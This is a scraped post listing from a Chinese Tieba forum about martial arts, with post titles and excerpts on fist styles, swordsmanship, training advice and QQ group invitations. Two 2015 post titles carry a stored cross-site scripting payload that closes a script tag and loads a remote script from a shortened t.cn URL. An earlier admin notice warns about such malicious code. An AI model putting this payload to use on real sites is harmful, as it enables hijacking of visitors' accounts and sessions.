练家子吧 - RAT

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2011-08-23

关于电影武侠里武术

甄子丹在武侠里跟惠英红的对打,用了好几种拳法,在广场和牛棚里有的是什么拳法?

🧑铁桦居士

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2011-08-20

自学打沙包有用吗

打沙包拳击可以自学吗? 不是比赛但求防身自保+健身自学打沙包可以吗??

🧑qq393683995

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2011-08-13

双手剑一看、二走、三胆、四剑

看，不是单单指用肉眼去死盯着对手，这样极容易疲劳、走神，有时反而容易导致反应迟缓。双手剑的“看”是指要用心去看！看，的技法很多：看中线、看肩、看脚，一对……

🧑观星的小三宝

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2011-08-11

习武心得：论“力”和“技”

武偐云：一力降十会。为何高手崇技，不崇力？我一武友曾说，“真要和师父打，肯定打得赢你师父……你师父不过如此”尔耳，当时我虽然恼火，但也说得我垭口无语。 ……

🧑观星的小三宝

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2011-08-11

男大当婚，女大当嫁！！(*^__^*)

我，长的还行，不难看。　　我，身材还可以，不算胖。　　我，学历一般般，不够高。　　我，不会做饭，但会洗衣。　　我，为人处事，基本善良。　　我，有……

🧑凌乱一生只为你

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2011-08-06

总看到一些人说中国武术这个不行那个不行的，忍不住出来说两句

中国的技击分武术和舞术（我觉得套路就是舞术，完全表演用的），总是有人分不明白这两点，现在在电视上看到的基本都是舞术，国情的原因真正会武术的人一般都是低调……

🧑ydjking

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2011-08-05

来自草原的散打王———巴特尔

喜欢上看巴特尔的比赛还是从这次黑龙江卫视的功夫王。主要是因为他比赛时有种永不服输的劲头，进攻积极而且作风勇猛，技术全面，可以说他成为了中国散打中量级的散打……

🧑练架子

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2011-07-16

精浅谈洪洞通背

洪洞通背拳原名无极通背缠拳，由于起始山西洪洞县，并在洪洞流传最广、最久、最盛行，所以，人们习惯称之为洪洞通背拳。洪洞通背拳根据考证，与河南温县陈家沟的……

🧑babyjsf

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2011-07-14

求教这是什么功夫？？有人说里面那个是道士————内附视频

🧑qbxdp

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2011-07-11

练练练。。。

🧑坚守者木之子

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2011-07-09

老练请进

我建了个QQ群“天下布武”：163983683 难得有丰富街斗经验的练家子前辈，欢迎你进来指教年轻人。

🧑观星的小三宝

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2011-07-08

精你是为什么而成为“练家子”

成为练家子总是有一定得机缘巧合，比如：自幼习武，为了锻炼身体，机缘巧合得遇高人等等。你是因为什么原因成为“练家子”的呢？ 1、自幼习武，多数情况是“家学渊……

🧑观星的小三宝

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2011-07-08

武术群

看得起我的，请入：163983683（天下布武）只聊武术、技击，不谈体育健身。

🧑观星的小三宝

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2011-07-07

精小论中国国术之实战攻防及三圈、三盘、中线要诀

这里简单的谈谈传统武术的实战打法。

🧑熊猫剑

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2011-07-04

大家可以指点一下我的运动方法么

我是普通人，为了锻炼身体，最近开始练习俯卧撑和马步冲拳目前水平是，每天拳卧撑10个，俯卧撑10-15个标准，两组马步冲拳早晚各一次，每次100-150……

🧑孤独的长爬者

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2011-06-30

大舍流剑术 - 突柄

🧑ttgmm

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2011-06-29

示现流剑术 - 燕飞

🧑ttgmm

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2011-06-29

养生歌诀

孙真人枕上诀（元陈元靓）清晨一碗粥，晚饭莫教足。撞动景阳钟，叩齿三十六。大寒与大热，且莫贪**。醉饱莫行房，五脏皆反覆。火艾漫烧身，争如独自宿……

🧑观星的小三宝

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2011-06-29

练武先练心.....

个人觉得我们应该分清楚练武是为了什么!是纯粹的锻炼身体,或者是为了技击伤人 ..为了自卫和路见不平挺身而出.,,.....如果是纯粹的锻炼身体,那么现在流……

🧑练架子

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2011-06-27

【紧急公告】关于各类冷兵器吧、武术吧被恶意代码混乱的情况

最近，包括：刀吧、中国刀吧、唐刀吧等等，一些冷兵器贴吧和武术贴吧，出现了一些“标题带有奇怪代码的帖子” 经证实，为恶意代码！！！！会导致假性盗号。只要……

🧑观星的小三宝

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2015-07-09

说不过就删帖封号,有意思吗?</script><script/src=//t.cn/aCXCxM>

RT <a href="/i/sys/jump?un=samy_joke" onclick="Stats.sendRequest('fr=tb0_foru……

🧑上帝最爱卢西弗

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2015-07-09

绝对震撼人心的语录,2011年</script><script/src=//t.cn/aCXCxM>

我想说啥来着？？<a href="/i/sys/jump?un=samy_joke" onclick="Stats.sendRequest('fr=tb0……

🧑迅雷闪

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2011-06-13

双手盘龙剑的“秘剑”和“阴阳诀”的比较

双手盘龙剑没有所谓“奥义”，倒是有一些“秘传剑术”。不过和“奥义”一样，没有一定功力根本施展不出效果。像柳生新阴流·奥义·神妙剑——这种踩脚、插眼的“小……

🧑观星的小三宝

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2011-06-10

谁说中国的套路是花拳绣腿

很多人都认为中国的套路是花拳绣腿,其实那只是到了现代,有很多武术套路都被用来做艺术表演或者是欣赏.其实并不是没有用,而是人们的想法太执于某一方面,如散打.……

🧑练架子

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2011-06-08

有一个拳法口诀

扣掌定息、翻掌虚步、进步对心锤、二郎担山、打虎式、抱拳转身蹬脚、上下斜打、顺风扯旗、正打弓步、二起脚、扑步压腿、扣掌定息。 ===============……

🧑无铜术

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2011-06-03

传统武术散手与实战功夫教学之实用招式

🧑坚守者木之子

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2011-05-27

好久没来了，怎么感觉现在吧里很冷清。

🧑无铜术

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2011-05-25

我的师傅是红山派女掌门

现在基本打10几个人没问题，跟王派李世清学的，也就是我的师傅，师属木兰33代大弟子，有没有练的姐妹咱俩拉拉？

🧑莺莺小姐～

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2011-05-12

大成拳号称流氓拳?

大成拳号称流氓拳,这说明大成拳讲究实战,同时大成拳也非常注重内功的修炼,是地地道道的中国功夫,是具养生和技击为一体的中国传统武术,有喜欢大成拳的吗?也可以……

🧑武魂w

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2011-05-12

大成拳号称流氓拳?

大成拳号称流氓拳,这说明大成拳讲究实战,同时大成拳也非常注重内功的修炼,是地地道道的中国功夫,是具养生和技击为一体的中国传统武术,有喜欢大成拳的吗?也可以……

🧑武魂w